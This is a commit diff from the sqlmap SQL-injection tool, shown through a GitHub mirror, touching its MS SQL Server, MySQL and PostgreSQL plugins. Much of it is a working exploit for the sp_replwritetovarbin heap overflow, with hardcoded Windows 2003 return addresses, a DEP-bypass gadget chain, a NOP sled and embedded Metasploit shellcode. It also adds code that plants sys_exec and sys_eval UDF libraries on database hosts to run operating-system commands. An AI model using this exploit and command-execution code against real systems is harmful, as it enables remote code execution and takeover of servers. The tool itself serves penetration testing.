mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-01-21 21:59:20 +00:00
Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
This commit is contained in:
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
import time
|
||||
|
||||
@@ -257,7 +258,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
||||
|
||||
versions = {
|
||||
@@ -417,12 +418,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
txtTbl = self.fileTblName
|
||||
hexTbl = "%shex" % self.fileTblName
|
||||
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
self.createSupportTbl(txtTbl, self.tblField, "text")
|
||||
inject.goStacked("DROP TABLE %s" % hexTbl)
|
||||
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
|
||||
|
||||
logger.debug("loading the content of file '%s' into support table" % rFile)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
|
||||
|
||||
# Reference: http://support.microsoft.com/kb/104829
|
||||
binToHexQuery = """
|
||||
@@ -593,22 +594,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
||||
|
||||
|
||||
def overflowBypassDEP(self):
|
||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
else:
|
||||
warnMsg = "sqlmap tried to add the expection for "
|
||||
warnMsg += "'sqlservr.exe' within the registry, but will not "
|
||||
warnMsg += "restart the MSSQLSERVER process to avoid denial "
|
||||
warnMsg += "of service. The buffer overflow trigger could not "
|
||||
warnMsg += "work, however sqlmap will give it a try. Soon "
|
||||
warnMsg += "it will come a new MS09-004 exploit to "
|
||||
warnMsg += "automatically bypass DEP."
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def spHeapOverflow(self):
|
||||
"""
|
||||
References:
|
||||
@@ -617,83 +602,109 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
"""
|
||||
|
||||
returns = {
|
||||
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
||||
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
||||
}
|
||||
retAddr = None
|
||||
# 2003 Service Pack 0
|
||||
"2003-0": ( "" ),
|
||||
|
||||
for version, data in returns.items():
|
||||
sp = data[0]
|
||||
address = data[1]
|
||||
# 2003 Service Pack 1
|
||||
"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 12/2008
|
||||
"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
|
||||
|
||||
# 2003 Service Pack 2 updated at 09/2009
|
||||
#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
|
||||
}
|
||||
addrs = None
|
||||
|
||||
for versionSp, data in returns.items():
|
||||
version, sp = versionSp.split("-")
|
||||
sp = int(sp)
|
||||
|
||||
if kb.osVersion == version and kb.osSP == sp:
|
||||
retAddr = address
|
||||
addrs = data
|
||||
|
||||
break
|
||||
|
||||
if retAddr == None:
|
||||
if addrs is None:
|
||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||
errMsg += "overflow because it does not have a valid return "
|
||||
errMsg += "code for the underlying operating system (Windows "
|
||||
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
shellcodeChar = ""
|
||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
shellcodeChar = shellcodeChar[:-1]
|
||||
|
||||
self.spExploit = """
|
||||
DECLARE @buf NVARCHAR(4000),
|
||||
@val NVARCHAR(4),
|
||||
@counter INT
|
||||
SET @buf = '
|
||||
declare @retcode int,
|
||||
@end_offset int,
|
||||
@vb_buffer varbinary,
|
||||
@vb_bufferlen int
|
||||
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
||||
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||
SET @val = CHAR(0x41)
|
||||
SET @counter = 0
|
||||
WHILE @counter < 3320
|
||||
BEGIN
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* Return address */
|
||||
SET @buf = @buf + %s
|
||||
SET @counter = @counter + 1
|
||||
IF @counter = 411
|
||||
BEGIN
|
||||
/* pointer to call [ecx+8] */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Nopsled */
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
/* push ebp, pop esp, ret 4 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Metasploit shellcode stage 1 */
|
||||
SET @buf = @buf + %s
|
||||
/* push ecx, pop esp, pop ebp, retn 8 */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* Unroll the stack and return */
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
||||
CHAR(0xc3)
|
||||
/* Garbage */
|
||||
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
||||
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* retn 1c */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* anti DEP */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
/* jmp esp */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||
|
||||
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
||||
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
||||
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
||||
|
||||
/* Metasploit shellcode */
|
||||
SET @buf = @buf + %s
|
||||
|
||||
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
||||
SET @counter = @counter + 302
|
||||
SET @val = CHAR(0x43)
|
||||
CONTINUE
|
||||
END
|
||||
SET @buf = @buf + @val
|
||||
END
|
||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||
EXEC master..sp_executesql @buf
|
||||
""" % (retAddr, self.shellcodeChar)
|
||||
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
||||
|
||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||
|
||||
@@ -33,7 +33,6 @@ from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -62,8 +61,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__basedir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.__basedir = None
|
||||
self.__datadir = None
|
||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF return data-type
|
||||
"sys_exec": { "return": "int" },
|
||||
"sys_eval": { "return": "string" },
|
||||
"sys_bineval": { "return": "int" }
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "MySQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -368,11 +374,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
@@ -483,119 +484,94 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
|
||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
libExt = "dll"
|
||||
else:
|
||||
wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
libExt = "so"
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir is None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||
if banVer >= "5.1.19":
|
||||
if self.__basedir == None:
|
||||
logger.info("retrieving MySQL base directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
||||
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
datadir = "."
|
||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
||||
|
||||
if re.search("[\w]\:\/", datadir, re.I):
|
||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||
|
||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
dFile = "/usr/lib/%s.%s" % (lib, libExt)
|
||||
#logger.debug("retrieving MySQL data directory absolute path")
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
# NOTE: specifying the relative path as './udf.dll'
|
||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||
self.__datadir = "."
|
||||
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||
kb.os = "Windows"
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in either /lib, /usr/lib or one of the
|
||||
# paths specified in /etc/ld.so.conf file, none of these
|
||||
# paths are writable by mysql user by default
|
||||
# TODO: test with plugins folder on MySQL >= 5.1.19
|
||||
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
if kb.stackedTest == False:
|
||||
|
||||
@@ -34,7 +34,6 @@ from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -63,6 +62,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||
self.sysUdfs = {
|
||||
# UDF name: UDF parameters' input data-type and return data-type
|
||||
"sys_exec": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
},
|
||||
"sys_eval": {
|
||||
"input": [ "text" ],
|
||||
"return": "text"
|
||||
},
|
||||
"sys_bineval": {
|
||||
"input": [ "text" ],
|
||||
"return": "int4"
|
||||
}
|
||||
}
|
||||
|
||||
Enumeration.__init__(self, "PostgreSQL")
|
||||
Filesystem.__init__(self)
|
||||
@@ -252,15 +266,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
||||
# patterns within the banner
|
||||
osWindows = ( " Visual C++", " mingw" )
|
||||
osWindows = ( " Visual C++", "mingw" )
|
||||
|
||||
for osPattern in osWindows:
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
||||
query += "LIKE '%" + osPattern + "%')>0"
|
||||
query = agent.forgeCaseStatement(query)
|
||||
|
||||
@@ -275,11 +289,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||
logger.info(infoMsg)
|
||||
|
||||
if detailed == False:
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
|
||||
@@ -408,7 +417,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||
|
||||
if confirm == True:
|
||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||
@@ -416,13 +425,46 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
def udfSetRemotePath(self):
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||
|
||||
|
||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
ret = inpRet["return"]
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
else:
|
||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
